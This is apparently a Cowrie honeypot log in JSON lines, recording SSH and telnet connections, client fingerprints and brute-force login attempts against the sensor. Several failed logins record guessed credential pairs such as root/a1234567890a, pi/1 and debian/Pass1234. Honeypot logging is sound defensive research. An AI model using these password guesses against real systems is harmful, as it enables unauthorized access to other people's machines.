{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:02.291552Z","src_ip":"103.27.238.114","session":"3d13f7b085ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1234567890a","message":"login attempt [root/a1234567890a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:03.137387Z","src_ip":"103.27.238.114","session":"3d13f7b085ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:04.423408Z","src_ip":"103.27.238.114","session":"3d13f7b085ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":29852,"dst_ip":"10.17.0.5","dst_port":22,"session":"74aaa27204fa","protocol":"ssh","message":"New connection: 141.11.88.14:29852 (10.17.0.5:22) [session: 74aaa27204fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:04.772300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:04.782617Z","src_ip":"141.11.88.14","session":"74aaa27204fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:04.870634Z","src_ip":"141.11.88.14","session":"74aaa27204fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:05.680354Z","src_ip":"141.11.88.14","session":"74aaa27204fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:07.166745Z","src_ip":"141.11.88.14","session":"74aaa27204fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56606,"dst_ip":"159.203.135.109","dst_port":23,"session":"29ec35026eda","protocol":"telnet","message":"New connection: 128.199.8.54:56606 (159.203.135.109:23) [session: 29ec35026eda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:08.256952Z"}
{"eventid":"cowrie.session.closed","duration":0.0062732696533203125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:08.263075Z","src_ip":"128.199.8.54","session":"29ec35026eda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":60894,"dst_ip":"10.17.0.5","dst_port":22,"session":"66baaa4a4fee","protocol":"ssh","message":"New connection: 141.11.88.14:60894 (10.17.0.5:22) [session: 66baaa4a4fee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:11.307994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:11.349095Z","src_ip":"141.11.88.14","session":"66baaa4a4fee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:11.451160Z","src_ip":"141.11.88.14","session":"66baaa4a4fee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cyber","password":"cyber","message":"login attempt [cyber/cyber] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:11.873645Z","src_ip":"141.11.88.14","session":"66baaa4a4fee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.126.105.149","src_port":9426,"dst_ip":"159.203.135.109","dst_port":22,"session":"16347ac02c5d","protocol":"ssh","message":"New connection: 200.126.105.149:9426 (159.203.135.109:22) [session: 16347ac02c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:12.681448Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:12.689426Z","src_ip":"200.126.105.149","session":"16347ac02c5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:13.077123Z","src_ip":"141.11.88.14","session":"66baaa4a4fee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":41846,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4d9ce8d0417","protocol":"ssh","message":"New connection: 141.11.88.14:41846 (10.17.0.5:22) [session: f4d9ce8d0417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:18.316558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:18.447989Z","src_ip":"141.11.88.14","session":"f4d9ce8d0417","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:18.451238Z","src_ip":"141.11.88.14","session":"f4d9ce8d0417","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"Pass1234","message":"login attempt [debian/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:19.619122Z","src_ip":"141.11.88.14","session":"f4d9ce8d0417","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:20.768606Z","src_ip":"141.11.88.14","session":"f4d9ce8d0417","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.08312940597534,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:25.266041Z","src_ip":"128.199.8.54","session":"fcf467fa237e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":41858,"dst_ip":"10.17.0.5","dst_port":22,"session":"f25d513af995","protocol":"ssh","message":"New connection: 141.11.88.14:41858 (10.17.0.5:22) [session: f25d513af995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:25.817124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:25.878679Z","src_ip":"141.11.88.14","session":"f25d513af995","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:25.967381Z","src_ip":"141.11.88.14","session":"f25d513af995","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"12345","message":"login attempt [openclaw/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:27.235665Z","src_ip":"141.11.88.14","session":"f25d513af995","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:28.360286Z","src_ip":"141.11.88.14","session":"f25d513af995","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":43924,"dst_ip":"10.17.0.5","dst_port":22,"session":"3be7c665f9a5","protocol":"ssh","message":"New connection: 141.11.88.14:43924 (10.17.0.5:22) [session: 3be7c665f9a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:33.147583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:33.292641Z","src_ip":"141.11.88.14","session":"3be7c665f9a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:33.297450Z","src_ip":"141.11.88.14","session":"3be7c665f9a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nina","password":"nina","message":"login attempt [nina/nina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:34.552491Z","src_ip":"141.11.88.14","session":"3be7c665f9a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:36.023814Z","src_ip":"141.11.88.14","session":"3be7c665f9a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":38712,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6fa70a117b4","protocol":"ssh","message":"New connection: 141.11.88.14:38712 (10.17.0.5:22) [session: b6fa70a117b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:40.165567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:40.506257Z","src_ip":"141.11.88.14","session":"b6fa70a117b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:40.510480Z","src_ip":"141.11.88.14","session":"b6fa70a117b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"1","message":"login attempt [pi/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:42.528579Z","src_ip":"141.11.88.14","session":"b6fa70a117b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:43.976403Z","src_ip":"141.11.88.14","session":"b6fa70a117b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.158","src_port":59730,"dst_ip":"159.203.135.109","dst_port":22,"session":"78219bc05dd7","protocol":"ssh","message":"New connection: 160.191.244.158:59730 (159.203.135.109:22) [session: 78219bc05dd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:45.793869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:45.798201Z","src_ip":"160.191.244.158","session":"78219bc05dd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:46.025645Z","src_ip":"160.191.244.158","session":"78219bc05dd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":38722,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e62e4676e9b","protocol":"ssh","message":"New connection: 141.11.88.14:38722 (10.17.0.5:22) [session: 5e62e4676e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:46.460068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:46.629216Z","src_ip":"141.11.88.14","session":"5e62e4676e9b","protocol":"ssh"}
